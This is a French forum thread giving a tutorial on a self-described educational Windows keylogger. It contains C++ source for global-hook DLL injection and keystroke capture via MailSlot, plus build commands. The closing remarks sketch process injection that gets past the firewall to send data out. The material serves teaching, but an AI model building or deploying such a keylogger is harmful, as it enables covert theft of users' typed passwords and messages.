Annonce

Réduire
Aucune annonce.

Keylogger pédagogique pour Windows

Réduire
Ceci est une discussion importante.
X
X
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Keylogger pédagogique pour Windows

    Bonjour,

    Il y a quelques temps, Kayzekk a demandé comment faire un keylogger en Python dans cette discussion. Je connais très mal Python mais, en revanche, faire cela en C++ est dans mes cordes. Je m'y suis donc intéressé de près. La technique la plus évidente est de mettre en place un hook quelque part dans le cheminement des frappes clavier car c'est une fonctionnalité de l'API Windows. J'ai donc réalisé un programme, deux exactement (nous verrons plus loin pourquoi), que l'on voit ci-dessous en action :




    Cette idée n'a rien de nouveau ni de révolutionnaire. Il existe une multitude de programmes utilisant cette technique. Certains sont des keyloggers et d'autres, des choses plus sérieuses... Ce à quoi je me suis heurté dans ce développement, c'est qu'on ne trouve nulle part tous les concepts et les pièges inhérents à l'utilisation des hooks. Tout est éparpillé entre la documentation de Microsoft (pas très claire) et les expériences des programmeurs qui butent sur un point ou un autre dans ce domaine.


    Concepts généraux
    • Un hook consiste à implanter un code qui va être appelé pour un événement donné (il en existe 14, sous la forme WH_xxxxxxx) et parmi ceux-ci, on trouve la frappe d'une touche de clavier. C'est ce qui va, de prime abord, nous intéresser. La mise en place d'un hook se fait grâce à l'API Windows SetWindowsHookEx().
    • Tout d'abord, il faut comprendre la différence entre hook de portée thread et hook global. Un hook de portée thread ne pourra être effectif que dans le thread dans lequel réside la fonction de hook, c'est-à-dire, en l’occurrence dans le keylogger lui-même. Ce qui n'a aucun intérêt. Il faut installer un hook de portée globale qui va intercepter les événements clavier pour tous les programmes s'exécutant sur la machine. Jusque-là, tout est relativement clair. C'est maintenant que ça se gâte... Lorsqu'on consulte la documentation de Microsoft sur le sujet, on a d'abord l'impression, pour ne pas dire la certitude, que réaliser un hook global, implique que le code contenant la fonction de hook soit dans une dll (SetWindowsHookEx()).
      lpfn [in] Type: HOOKPROC
      A pointer to the hook procedure. If the dwThreadId parameter is zero or specifies the identifier of a thread created by a different process, the lpfn parameter must point to a hook procedure in a DLL. Otherwise, lpfn can point to a hook procedure in the code associated with the current process.
      Mais lorsqu'on arrive presque vers la fin de la description de cette fonction, un doute prend place :
      Be aware that the WH_MOUSE, WH_KEYBOARD, WH_JOURNAL*, WH_SHELL, and low-level hooks can be called on the thread that installed the hook rather than the thread processing the hook. For these hooks, it is possible that both the 32-bit and 64-bit hooks will be called if a 32-bit hook is ahead of a 64-bit hook in the hook chain.
      Les low-level hooks sont WH_KEYBOARD_LL et WH_MOUSE_LL. Là, on se demande si ces hooks ne peuvent pas être posés par un exécutable banal ayant la fonction qui va bien sans plus s'embêter. Après tests, il s'avère que seuls WH_KEYBOARD_LL et WH_MOUSE_LL ont cette possibilité. WH_JOURNALPLAYBACK et WH_JOURNALRECORD retournent l'erreur "Access denied". C'est donc un problème de droits (même en exécutant comme administrateur) mais je n'ai pas le temps de m'y pencher et c'est un peu hors-sujet. Quant à WH_KEYBOARD et WH_MOUSE, ils produisent l'erreur "Cannot set nonlocal hook without a module handle". Ce qui laisse penser qu'il faut quand même une dll les concernant.
    • C'est ainsi que les Keylogger les plus répandus sur la toile utilisent le type de hook WH_KEYBOARD_LL (1) car cela offre deux grands avantages : pas besoin d'une dll, comme nous l'avons vu et surtout, sur un système 64 bits, le hook est effectif sur les processus 32 bits comme 64 bits (nous verrons que ce n'est pas le cas lorsqu'on utilise une dll). Ils présentent toutefois plusieurs inconvénients. Tout d'abord, ils doivent disposer d'une boucle de lecture de messages Windows (sinon ça ne marche pas du tout). Alors, comme dans l'exemple donné, le plus simple est d'afficher une MessageBox qui dispose de sa propre boucle. J'ignore comment Windows fait fonctionner cela en coulisse mais il est clair que cette boucle y est impliquée. Ensuite, il ne paraît pas possible de savoir de quelle application viennent les frappes enregistrées. Mais surtout, ce dont on va disposer en guise d'information ne sont pas vraiment les caractères tapés mais les touches du clavier qui ont été pressées. Par exemple, on va apprendre que l'utilisateur a appuyé sur la touche " mais on ne saura pas quel caractère en a résulté (3, " ou #). C'est ce que l'on appelle le code de touche virtuelle (virtual key code). Après de multiples recherches, je n'ai pas pu trouver un moyen fiable de transformer le code de touche virtuelle en caractère réellement obtenu. Il existe bien des fonctions pour cela (ToASCII() entre autres) mais pas moyen de les faire fonctionner sans des tests laborieux sur les touches pressées en même temps (Shift, Ctrl et autres).
    • Si, de notre côté, on choisit un hook de portée globale dont la fonction est contenue dans une dll, on va être confronté au problème suivant : une dll compilée en 32 bits ne peut être chargée et injectée que dans des applications 32 bits. C'est exactement la même chose pour les dll et processus 64 bits (2, voir "Remarks"). Cela signifie que sur un système d'exploitation Windows 64 bits, pour injecter un maximum de processus, il faut que le Keylogger soit présent en deux exemplaires : l'un en 32 bits et l'autre en 64 bits.
    • Enfin, il faut savoir qu'il existe des processus qui sont protégés contre le hook (certains appartenant au système Windows et d'autres, tels que les antivirus) ; ils ne peuvent donc pas être atteint par cette seule technique (3).


    Concepts du keylogger présenté ici
    • Concernant le problème d'obtenir les vrais caractères tapés, il se trouve que Windows fait cette conversion de lui-même pour les programmes. Lorsqu'il a pris connaissance des touches, il va en déduire le caractère et envoyer son code à l'application via le message WM_CHAR. On trouve ici (voir "Processing Character Messages") l'implémentation de la lecture de ce message. Donc, il faut poser le hook non au niveau des événements clavier, mais sur la boucle de lecture des messages Windows et attendre qu'un WM_CHAR se présente. A cette fin, on utilise le type de hook WH_GETMESSAGE dont on trouve l'implémentation de lecture ici. En pratique, cela va quelque peu se compliquer, car, pour des raisons inconnues, certains programmes (Outlook par exemple) reçoivent plusieurs WM_CHAR pour un seul caractère tapé. La parade consiste à scruter en premier lieu chaque message WM_KEYDOWN et ne permettre la lecture que d'un seul WM_CHAR par WM_KEYDOWN.
    • Une fois le code de la touche obtenu, il faut le rapatrier quelque part. On va utiliser le keylogger lui-même (appelé client) pour recevoir ces caractères et les afficher. Se pose donc le problème de faire communiquer les dll qui ont été injectées dans diverses applications avec le client. A la base, les processus sont isolés entre eux, ils ne peuvent dialoguer sans le recours de techniques particulières qu'on regroupe sous le terme de "communication inter-processus" (InterProcesses Communication, IPC). Parmi les diverses formes, trois ont été testées : Socket (UDP), Pipe (named) et MailSlot, le reste n'étant pas approprié pour la problématique. On notera le File Mapping qui est très utile lorsque deux processus doivent se partager des variables (cette technique va être employée mais pour d'autres buts).
    • C'est le MailSlot qui a été finalement retenu pour ce programme car il présente les avantage suivants : c'est le plus simple à implémenter, il est plutôt discret. Par ailleurs, tout comme les Named Pipes, il ne fait pas réagir le pare-feu de Windows alors que les sockets oui, quand bien même il s'agit de communications sur la même machine (127.0.0.1 --> 127.0.0.1).

      Quant au Named Pipe, il y a un détail qui fait assez peur dans la documentation Microsoft (4) :
      Windows 10, version 1709: Pipes are only supported within an app-container; ie, from one UWP process to another UWP process that's part of the same app. Also, named pipes must use the syntax "\\.\pipe\LOCAL" for the pipe name.
      Cependant après tests sur une version Windows 10 1709, les Named Pipes semblent fonctionner parfaitement.
    • Suite à la remarque sur les dll et processus 32/64 bits, il va donc y avoir besoin de compiler ce programme et sa dll dans ces deux versions. A cette fin, j'ai utilisé minGW-W64 qui est libre et gratuit. Ci-après un mini-tutoriel pour compiler les sources du Keylogger.


    Comment compiler ce keylogger
    • Télécharger l'installateur de minGW-W64. Il faudra le lancer deux fois, pour rapatrier les deux versions 32 et 64 bits.
    • Pour le compilateur 32 bits choisir les paramètres : Version = laisser le défaut, Architecture = i686, Thread = win32, Exception = dwarf, Buil Revison = laisser le défaut. Par défaut, il va s'installer dans C:\Program Files (x86)\mingw-w64\i686-7.2.0-win32-dwarf-rt_v5-rev1\.
    • Relancer l'installateur. Pour le compilateur 64 bits choisir les paramètres : Version = laisser le défaut, Architecture = X86_64, Thread = win32, Exception = seh. Buil Revison = laisser le défaut. Par défaut, il va s'installer dans C:\Program Files\mingw-w64\x86_64-7.2.0-win32-seh-rt_v5-rev1.
    • Télécharger les sources du Keylogger qui se limitent à deux fichiers à dézipper dans un même répertoire: keylog.cpp et keylog_dll.cpp.
    • Ouvrir une invite de commande (cmd.exe), se placer dans le répertoire où se trouvent les sources et entrer :
    1. Set path=C:\Program Files (x86)\mingw-w64\i686-7.2.0-win32-dwarf-rt_v5-rev1\mingw32\bin
    2. g++ -static -Wl,--kill-at -s -shared -o keylog32.dll keylog_dll.cpp
    3. g++ -static -s -o keylog32.exe keylog.cpp
    4. Set path=C:\Program Files\mingw-w64\x86_64-7.2.0-win32-seh-rt_v5-rev1\mingw64\bin
    5. g++ -static -Wl,--kill-at -s -shared -o keylog64.dll keylog_dll.cpp
    6. g++ -static -s -o keylog64.exe keylog.cpp
    • Toutes ces commandes ne doivent donner aucun message d'erreur (ni autres messages). Si ce n'est pas le cas, vérifier la valeur de PATH par rapport à l'emplacement des compilateurs. Les chemins donnés ici sont ceux par défaut mais ils peuvent varier (ne serait-ce que si le numéro de version évolue). Pour éviter des fautes de frappes, faire des copier-coller entre ici et la ligne de commande.
    • Taper keylog32 dans la ligne de commande puis en ouvrir une autre, se placer dans le répertoire des sources, et lancer Keylog64.

    La compilation avec minGW-W64 rend ce Keylogger incompatible avec Windows 98SE et Windows NT4. Ce n'est pas la faute de son code mais des appels système que le compilateur fait faire au programme. Il suffit probablement de compiler les sources avec un logiciel plus ancien pour que ça fonctionne (cela dit, qui utilise encore ces Windows ?). Il a été testé avec succès pour les versions suivantes :
    • XP 32 bits (SP3)
    • 7 32 bits
    • 7 64 bits.
    • 8 64 bits
    • 10 64 bits (version antérieure à 1709)
    • 10 64 bits (version 1709)
    Fichiers attachés
    Dernière modification par Icarus, 12 mars 2018, 20h48.

  • #2
    Ce programme a été rédigé dans l'intention de rester le plus standard possible de sorte qu'il puisse être transformé en exécutable par n'importe quel compilateur (ça, c'est la théorie ). S'il s'agit bien de C++ (emploi de string notamment), il a été écrit dans une optique C dans le sens où il n'y pas d'utilisation de classes. Ceci, afin qu'il soit plus facilement lisible (comprendre un code fortement objet n'a rien de naturel).

    Nous allons commencer par le keylogger client. Comme il doit pouvoir être compilé indifféremment en 32 et en 64 bits, il y a certaines valeurs à régler selon le cas. L'identification du type de compilateur repose sur l’existence ou non d'une constante (appelée aussi "macro") : _WIN64. On utilise exactement le même principe pour la dll.
    Code:
    // Constantes
    #ifdef _WIN64 // Si définie, le compilateur est 64 bits
        #define pc_BITNESS "64"
        #define pc_NOM_DLL "keylog64.dll"
        #define pc_NOM_MAILSLOT "\\\\.\\mailslot\\Icarus-KeyLog64"
        #define pc_NOM_PARTAGE "Icarus-KeyLog64" // File mapping
        #define pc_NOM_MUTEX "Mutex-Icarus-KeyLog64"
    #else
        #define pc_BITNESS "32"
        #define pc_NOM_DLL "keylog32.dll"
        #define pc_NOM_MAILSLOT "\\\\.\\mailslot\\Icarus-KeyLog32"
        #define pc_NOM_PARTAGE "Icarus-KeyLog32" // File mapping
        #define pc_NOM_MUTEX "Mutex-Icarus-KeyLog32"
    #endif
    Venons-en à la fonction principale main() du keylogger client :
    Code:
    #define pc_TAILLE_BUF 1024
    #define pc_SYS_CHAR 01 // Préfixe indiquant un message système
    
    // Types
    typedef  LRESULT __stdcall (*KEYHOOK)(int, WPARAM, LPARAM); // Type de la fonction de hook
    struct Partage {
        DWORD pidClient;
        char pcNomExe[pc_TAILLE_BUF];
    };
    
    // Variables
    KEYHOOK KeyHook;
    HANDLE hMutex, hThread, hHook, hPartage, hSlot = NULL;
    Partage* partData;
    char pcMemExe[pc_TAILLE_BUF];
    bool bLog = false;
    
    //-------------------------------- Snip ------------------------------------
    
    // Fonction principale, appelée lorsque keylogXX.exe est lancé
    
    int main(int argc, char* argv[])
    {
        cout << endl;
        Log("*** Keylogger client "); Log(pc_BITNESS);
        Log(" bits, initialisation ***");
        cout << endl << endl;
    
        //----------  Détermine s'il y a une autre instance du keylogger ----------
        Log("- Autre Keylogger client "); Log(pc_BITNESS);
        Log(" bits en mémoire ?..");
        hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, pc_NOM_MUTEX);
        if (hMutex) { // Si pas d'erreur, c'est que le Mutex existe déjà
            cout << " Oui !";
            Fin(); return 0;
        } else cout << " Non -> Ok." << endl;
        // On créé le Mutex pour être détecté par une éventuelle autre instance
        hMutex = CreateMutex(NULL, FALSE, pc_NOM_MUTEX);
    
    //-------------------------------- Snip ------------------------------------
    Le premier point à vérifier est qu'il n'y ait pas d'autre exécution du keylogger (en fait, un seul en 32 bits et un seul en 64 bits). Car sinon, les instances suivantes du keylogger essaieraient de s'approprier des ressources déjà en cours d'utilisation (MailSlot notamment). Pour ce faire, on utilise un Mutex qui est un des objets de synchronisation disponible dans les OS multitâches. Le principe est très simple : on tente d’accéder au Mutex comme s'il existait déjà et si on y parvient, c'est qu'une instance du même programme est déjà en cours d'exécution. Dans le cas contraire, on créé le Mutex de façon à ce qu'il soit soit détecté si un autre keylogger client venait à être lancé.

    Note : hMutex est un HANDLE. Windows utilise souvent ce type pour désigner divers objets et pouvoir y faire référence par la suite.

    A présent, temps est venu de charger la dll et de récupérer l'adresse de la fonction de hook (KeyHook()) qu'elle contient (nous en aurons besoin pour SetWindowsHook() à la fin).
    Code:
    // Pour mémoire (déjà défini plus haut)
    /* typedef  LRESULT __stdcall (*KEYHOOK)(int, WPARAM, LPARAM); // Type de la fonction de hook
    KEYHOOK KeyHook; */
    
    int main(int argc, char* argv[])
    {
    
      //-------------------------------- Snip ------------------------------------
    
      // ---------- Chargement de la dll ----------
        string s = "- Chargement de "; s += pc_NOM_DLL; Log(s);
        HANDLE hLibHook = LoadLibrary(pc_NOM_DLL);
        if (!hLibHook) {
            Echec();
            return 0;
        } else Succes();
    
        // ---------- Récupération de la fonction de hook dans la dll ----------
        Log("- Récuperation de la fonction KeyHook de la dll");
        KeyHook = (KEYHOOK) GetProcAddress((HINSTANCE)hLibHook, "KeyHook");
        if (KeyHook == NULL) {
            Echec();
            return 0;
        } else Succes();
    
    //-------------------------------- Snip ------------------------------------
    La dll est chargée avec LoadLibrary(). Son usage est très simple, il suffit d'avoir le nom de la dll. A noter qu'il faut qu'elle soit présente dans le même répertoire que le client (ou, du moins, c'est le plus simple). La fonction renvoie un HANDLE (hLibHook) dont nous avons besoin pour retrouver l'adresse de la fonction KeyHook() mais aussi pour utiliser SetWindowHookEx(). Concernant l'adresse de KeyHook(), il faut la stocker dans un type compatible avec la signature de la fonction. Ce type est défini par typedef qui donne à cette signature le nom de KEYHOOK. Ensuite, la variable KeyHook est définie avec ce type. Il n'y a plus qu'à appeler GetProcAddress() pour placer la bonne adresse dans keyHook.

    Maintenant, on aborde la création d'un file mapping.
    Code:
    // Pour mémoire (déjà défini plus haut)
    /* struct Partage {
        DWORD pidClient;
        char pcNomExe[pc_TAILLE_BUF];
    };
    Partage* partData;
    HANDLE hPartage,; */
    
    int main(int argc, char* argv[])
    {
    
      //-------------------------------- Snip ------------------------------------
    
        //---------- Création d'un file mapping ----------
        Log("- Création d'un file mapping (partage de données avec la dll)");
        hPartage = CreateFileMapping(INVALID_HANDLE_VALUE,  // Ne pas créer de "vrai" fichier
                                     NULL,                 // Attributs de sécurité = défaut
                                     PAGE_READWRITE,      // Accès en lecture / écriture
                                     0,                  // Taille DWORD haut
                                     sizeof(Partage),   // Taille DWORD bas
                                                       // Taille totale = Dword bas + 4294967296 x DWORD haut
                                     pc_NOM_PARTAGE   // Nom du file mapping
        );
        if (hPartage == NULL) {
            Echec();
            return 0;
        } else Succes();
        partData = (Partage*) MapViewOfFile(hPartage, FILE_MAP_ALL_ACCESS, 0, 0, 0);
        partData->pidClient = GetCurrentProcessId(); // On note le PID du client
        memset(partData->pcNomExe, 0, pc_TAILLE_BUF); // Mise à zéro zone texte
        memset(pcMemExe, 0, pc_TAILLE_BUF);
    
      //-------------------------------- Snip ------------------------------------
    Il s'agit ici de créer un espace mémoire commun entre le keylogger client et les différents processus qui ont été injectés par la dll. Cet espace va servir à stocker une structure Partage qui contient d'une part le PID du client et d'autre part le nom de l'exécutable dont la dll est en train de loguer les frappes clavier. Les dll ont besoin de connaître le PID du client pour ne pas enregistrer les appuis de touches qui lui sont adressés. Par ailleurs, le client saura en permanence de quel processus proviennent les frappes clavier en consultant le contenu de pcNomExe. Tout cela repose sur les API Windows CreateFileMapping() et MapViewOfFile(). Une fois que partData pointe sur cette zone mémoire, on y accède comme avec une variable quelconque.

    Code:
    // Pour mémoire (déjà défini plus haut)
    /* HANDLE hThread, hSlot = NULL; */
    
    int main(int argc, char* argv[])
    {
    
      //-------------------------------- Snip ------------------------------------
    
        //---------- Création d'un MailSlot ----------
        Log("- Création d'un MailSlot");
        hSlot = CreateMailslot(pc_NOM_MAILSLOT,
                               0,       // Pas de taille max pour les messages
                               MAILSLOT_WAIT_FOREVER,// Pas de time-out
                               NULL // Attributs de sécurité par défaut
        );
        if (hSlot == INVALID_HANDLE_VALUE) {
            Echec();
            return 0;
        } else Succes();
    
        //---------- Création du thread de réception ----------
        Log("- Création du thread d'écoute");
        DWORD dwThreadId;
        hThread = CreateThread(
                         NULL,            // Attributs de sécurité par défaut
                         0,              // Taille de la pile = défaut
                         Reception,     // Nom de la fonction à lancer
                         NULL,         // Argument à passer au thread (rien ici)
                         0,           // Drapeaux de création = défaut
                         &dwThreadId // Identification du thread (à récupérer)
        );
        if (!hThread) {
            Echec();
            return 0;
        } else Succes();
    
     //-------------------------------- Snip ------------------------------------
    Nous arrivons ici à la mise en place du système de communication dll --> client. La création du MailSlot n'appelle aucun commentaire tant elle est d'une simplicité étonnante avec CreateMailslot(). On constate qu'ici, je choisis de créer un thread chargé de réceptionner les données provenant des dll de façon à rester en mode bloquant lors des appels de fonctions de connexion / lecture (appelé aussi mode synchrone). L'autre possibilité est de passer en mode asynchrone (overlapped).

    La fonction de lecture du MailSlot repose sur la seule API ReadFile(). Le MailSlot est considéré comme un fichier ordinaire (dans notre cas, il n'est pas stocké sur disque mais en mémoire). Nous laisserons de côté les petits détails d'implémentation par rapport à l'affichage (message système et autres).
    Code:
    // Fonction du thread de lecture du MailSlot
    
    DWORD WINAPI Reception(LPVOID lpv)
    {
        char buf[pc_TAILLE_BUF]; DWORD dwOctetsLus;
    
        while(1) {
    
            // En attente de réception. ReadFile ne retourne que s'il y a qq chose à lire
            if (ReadFile(hSlot, buf, pc_TAILLE_BUF-1, &dwOctetsLus, NULL) ) {
                if (dwOctetsLus > 0) {
                    buf[dwOctetsLus] = 0;
                    if (buf[0] == pc_SYS_CHAR) { // S'agit-il d'un message système ?
                        if (bLog) cout << endl; // Retour à la ligne si log clavier précédent
                        bLog = false;
                        Log(string(buf+1)); cout << endl;
                    } else LogClavier(string(buf));
                }
            }
    
        }
        return 0;
    }
    A présent que tout est prêt, on peut enclencher le hook. Attention, dès que cette fonction est lancée, Windows va injecter la dll partout où il peut, au moment où le processus commence à scruter sa boucle de messages. Il faut être sûr de son code avant d'arriver à ce point sinon cela peut entraîner un plantage plus ou moins sévère des applications Windows en cours d’exécution.
    Code:
    // Pour mémoire (déjà défini plus haut)
    /* typedef  LRESULT __stdcall (*KEYHOOK)(int, WPARAM, LPARAM); // Type de la fonction de hook
    KEYHOOK KeyHook;
    HANDLE hHook,; */
    int main(int argc, char* argv[])
    {
    
      //-------------------------------- Snip ------------------------------------
    
         // ---------- Activation du hook "clavier" ----------
         Log("- Mise en place du hook clavier");
         hHook = SetWindowsHookEx(
                    WH_GETMESSAGE,         // Type de hook
                    (HOOKPROC) KeyHook,   // Fonction de hook (dans la dll)
                    (HINSTANCE) hLibHook,// HANDLE sur la dll
                    0                   // Tous les threads (hook global)
         );
         if (!hHook) {
            Echec();
            return 0;
         } else Succes();
    
      //-------------------------------- Snip ------------------------------------
    Voilà, tout est fait, il ne reste plus qu'à attendre que le programme se termine (par entrée de 'q') et ensuite de nettoyer les divers objets qui ont été créés.
    Code:
    // Affiche que tout est ok
         cout << endl;
         Log("*** Keylogger "); Log(pc_BITNESS);
         Log(" bits fonctionnel ***");
         cout << endl;
    
         // Attente de la frappe 'q' pour terminer le programme
         while (s[0]!='q') {
            cout << endl;
            Log("[Taper 'q' pour quitter]");
           cout << endl; cin >> s;
         }
    
         //---------- Fin du programme ----------
         UnhookWindowsHookEx((HHOOK)hHook); // Suppression du hook
         CloseHandle(hHook);
         TerminateThread (hThread, 0); // Brutal mais pas trouvé d'autre moyen fiable
         WaitForSingleObject(hThread, 100); // Attend un peu si le thread n'est pas terminé
         CloseHandle(hThread);
         CloseHandle(hSlot);
         UnmapViewOfFile(partData);
         CloseHandle(hPartage);
         CloseHandle(hMutex);
    
         return 0;
    }
    Passons à la dll. Une dll ressemble beaucoup à un exécutable ordinaire : on y trouve des fonctions, des variables, et éventuellement d'autres ressources. Ce qui la différencie d'un .exe est : pas de fonction d'entrée main() ou WinMain(), présence d'au moins une fonction ou ressource exportée (ce n'est pas absolument nécessaire mais sinon ça perd de son intérêt) et éventuellement définition d'une fonction DllMain(). Mais ce qui va faire vraiment la différence est la façon de compiler le code ou, plus exactement, comment il va être organisé dans le fichier résultant. Concrètement, il faut indiquer au compilateur que c'est une dll ou bien il considère le code comme un simple exécutable. Avec g++, c'est l'option "-shared" qui va déterminer qu'il s'agit d'une dll.
    Code:
    //-------------------------------- Snip ------------------------------------
    
    // Types
    struct Partage { // Pour le file mapping
            DWORD pidClient;
            char pcNomExe[pc_TAILLE_BUF];
    };
    
    // Variables
    HANDLE hSlot, hPartage;
    string sNomExe;
    Partage* partData;
    bool bEstClient, bFrappe = false;
    
    //-------------------------------- Snip ------------------------------------
    
    // Fonction appelée automatiquement au chargement / déchargement de la dll
    
    BOOL WINAPI DllMain(HINSTANCE, DWORD reason, LPVOID lpReserved)
    {
        string sMessage; DWORD dwProcessID, idC;
        char buf[MAX_PATH+1]; char* pc;
    
        switch(reason) {
    
            case DLL_PROCESS_ATTACH: // Chargement de la dll
    
                dwProcessID = GetCurrentProcessId();
    
                // Ouverture du file mapping
                hPartage = OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, pc_NOM_PARTAGE);
                if (hPartage) {
                    // Recherche du PID du client dans la zone partagée
                    partData = (Partage*) MapViewOfFile(hPartage, FILE_MAP_ALL_ACCESS, 0, 0, 0);
                    idC = partData->pidClient;
                } else idC = 0; // Valeur de secours au cas où
    
                // Détermination du nom du exe dans lequel se trouve la dll
                GetModuleFileName(NULL, buf, MAX_PATH);
                pc = strrchr(buf, '\\');
                if (pc == NULL) pc = buf; else pc++;
                sNomExe = pc; // Nom court *.exe
    
                // En console, c'est conhost.exe qui détient le keylogger
                // On est obligé d'ignorer toutes les instances de conhost.exe
                bEstClient = (dwProcessID == idC || sNomExe == pc_NOM_CLIENT);
                if (bEstClient) return TRUE; // S'il s'agit du client keylogger, on arrête là
    
                // Ouverture du Mail Slot
                hSlot = CreateFile(pc_MAILSLOT_NAME,                  // Nom du "fichier"
                                   GENERIC_WRITE,                    // Mode d'accès
                                   FILE_SHARE_WRITE|FILE_SHARE_READ,// Mode de partage, ne pas changer
                                   NULL,                           // Pointeur vers attributs de sécurité
                                   OPEN_EXISTING,                 // Option de création : le MailSlot existe déjà
                                   FILE_ATTRIBUTE_NORMAL,        // Pas d'attributs particulier à ce "fichier"
                                   NULL                         // Ficher modèle, inutile ici
                );
    
                // Création d'un message système vers le client
                sprintf(buf, " (PID=%lu)", dwProcessID);
                sNomExe += string(buf);
                sMessage = "-> Injecté : " + sNomExe;
                EnvoieLogSys(sMessage);
                break;
    
            case DLL_PROCESS_DETACH: // Déchargement de la dll
    
                if (!bEstClient) {
                    sMessage = "<- Fin processus : " + sNomExe;
                    EnvoieLogSys(sMessage);
                    CloseHandle(hSlot);
                    UnmapViewOfFile(partData);
                    CloseHandle(hPartage);
                }
        }
    
        return TRUE;
    }
    Lorsque la dll est chargée dans une application, un appel à DllMain() est effectué avec reason = DLL_PROCESS_ATTACH. Le code exposé ici va chercher quel est le nom de l'exécutable dans lequel la dll vient d'être injectée. Dans le cas d'une application console, comme notre keylogger, le processus qui reçoit les frappes clavier n'est pas l'application elle-même mais conhost.exe, ou plutôt l'instance de conhost.exe qui a lancé la dite application. Par simplification, on ne va loguer aucune des instances de conhost.exe ; pas plus que le processus du keylogger client (grâce à son PID transmis via le file mapping). On va ensuite envoyer vers le client le nom de l'exécutable ainsi que son PID dans lequel la dll vient d'être injectée.

    Lorsque la dll est déchargée du processus (car il se termine), reason = DLL_PROCESS_DETACH et là, on logue de manière identique la fin de l'application. Les détails concernant l'implémentation de EnvoieLogSys() ne seront pas abordés ici par manque de place.

    Reste la fameuse fonction de hook.
    Code:
    //-------------------------------- Snip ------------------------------------
    
    // Fonction exportée
    extern "C" __declspec(dllexport) LRESULT __stdcall KeyHook(int, WPARAM, LPARAM);
    
    
    //-------------------------------- Snip ------------------------------------
    
    // Fonction de rappel pour le hook système
    
    LRESULT __stdcall KeyHook(int code, WPARAM wParam, LPARAM lParam)
    {
        if (code == HC_ACTION && !bEstClient) {
    
            MSG* msg = (MSG*)lParam;
            char pc[pc_TAILLE_BUF]; string s;
            switch(msg->message) {
    
                    // Si une frappe clavier est intervenue (WM_KEYDOWN), bFrappe passe à true,
                    // ce qui autorise le traitement du prochain WM_CHAR reçu
                    case WM_KEYDOWN: bFrappe = true; break;
    
                    case WM_CHAR:
                        if (!bFrappe) break;
                        bFrappe = false;
                        switch (msg->wParam)  {
                            // Caractères spéciaux
                            case 0x08: s = "{BS}"; break;
                            case 0x0A: s = "{LF}"; break;
                            case 0x1B: s = "{ESC}"; break;
                            case 0x09: s = "{TAB}"; break;
                            case 0x0D: s = "{CR}"; break;
                            default: // Caractères affichables
                                pc[0] = msg->wParam; pc[1] = 0;
                                s = string(pc);
                        }
    
                        // Ecrit le nom du exe à l'origine du caractère loggé
                        // dans la zone partagée avec le client
                        strcpy(partData->pcNomExe, sNomExe.c_str());
                        EnvoieLog(s); // Envoi du caractère
    
            }
        }
    
        return CallNextHookEx(NULL, code, wParam, lParam); // Faire suivre aux éventuels autres hooks
    }
    
    //-------------------------------- Snip ------------------------------------
    Il faut tout d'abord l'exporter de façon à ce que son adresse puisse être obtenue par le keylogger client (voir au début de ce message). Cela se fait grâce au mot clé __declspec(dllexport). extern "C" spécifie que la fonction doit être nommée en interne comme en langage C. __stdcall, concerne la convention d'appel de la fonction. Tous ces points (nom interne et convention d'appel) ont peu d'importance tant que l'on exporte pas de données ou de fonctions mais ici, on ne peut pas en faire l'économie. Et même en y faisant attention, on peut être gêné pour retrouver notre fonction à cause de son nom interne qui n'est pas celui que l'on croit (cherchez pourquoi je compile avec l'option de lieur -Wl,--kill-at).

    Selon Microsoft, il ne faut traiter le message que si code = HC_ACTION. De notre côté, nous rajoutons une condition supplémentaire : l'exécutable ne doit pas être le client ; cela n'aurait aucun sens d'enregistrer les frappes clavier adressées à notre keylogger.

    Ainsi qu'évoqué dans le message précédent, si on se contente de traiter WM_CHAR on va se retrouver, pour certaines applications avec plusieurs WM_CHAR pour un seul appui de touche. On va donc surveiller d'abord le passage d'un message WM_KEYDOWN (-> une touche a été frappée). Lorsqu'un tel message survient, on bascule le drapeau bFrappe à true, ce qui autorise la prise en compte du prochain WM_CHAR reçu. Dès lors que ce dernier est traité, bFrappe est remis à false et le caractère est enregistré.

    L'implémentation de la lecture de WM_CHAR est conforme à celle fournie par Microsoft. On notera qu'avant de transmettre le caractère au keylogger client, la dll recopie consciencieusement dans partData->pcNomExe le nom de l'exécutable dans lequel elle est logée. Le client en prend connaissance à chaque réception de caractère et si ce nom change entre deux réceptions, il affiche le nouveau nom sur sa console.

    La fonction de hook retourne obligatoirement CallNextHookEx() qui va permettre la poursuite de la chaîne de hook si d'autres applications ont en posé pour WH_GETMESSAGE.

    Il ne reste plus qu'à regarder comment la dll envoie ses messages vers le client via le MailSlot. Encore une fois, c'est d'une grande simplicité car on traite la chose comme un fichier avec l'API WriteFile().
    Code:
    // Envoie un log au client
    
    void EnvoieLog(string sData)
    {
        if (hSlot != INVALID_HANDLE_VALUE) {
            DWORD dw;
            WriteFile(hSlot, sData.c_str(), sData.size(), &dw, NULL);
        }
    }

    Conclusions

    Ce keylogger a été en définitive un bon prétexte de décrire plusieurs technologies dont certaines ne sont pas propres à Windows mais existent aussi pour les systèmes UN*X.

    On remarquera qu'il s'agit bien d'un keylogger pédagogique car il ne se dissimule en aucune façon, ne communique pas ses enregistrements avec l'extérieur, ni ne les stocke localement. Egalement, il ne dispose d'aucun moyen d'encryptage ou d'offuscation de code.

    La technique de hook global décrite ici est un des moyens qui existe pour injecter du code dans les processus en mémoire. Un keylogger est plutôt inoffensif par rapport à ce que l'on peut faire dès lors qu'on a envahi la zone mémoire d'un programme. Ainsi, on peut, entre autre choses, intercepter certains appels système du programme en question et lui faire "croire" ou lui faire faire n'importe quoi. Par exemple, il est possible d'injecter un navigateur et d'utiliser ses droits dans le pare-feu pour envoyer des données sur internet. Ou encore injecter l'exécutable d'un serveur et écouter à sa place sur le port ouvert à son attention. Les possibilités offertes ne sont limitées que par l'imagination, l'habileté du codeur et les mesures de protection prises par certains pare-feux, antivirus ainsi que par Windows lui-même.
    Dernière modification par Icarus, 18 février 2018, 15h54. Motif: Version 2

    Commentaire


    • #3
      Bonjour Icarus et merci pour le partage,

      Je mets ce sujet en mode Important, nous avons sur le forum beaucoup de questions plus ou moins techniques sur la conception d'un keylogger et tes explications sont très claires.

      Cependant je retire le lien du programme qui n'attire pas le même type de lecteur intéressé par cette technique.

      Merci de ta compréhension...
      Dernière modification par fred, 11 février 2018, 07h03.

      Commentaire


      • #4
        Super Icarus ! Trés instructif ! merci bien !
        "Please do not use in military or secret service, or for illegal purposes."

        Commentaire


        • #5
          Bonjour,

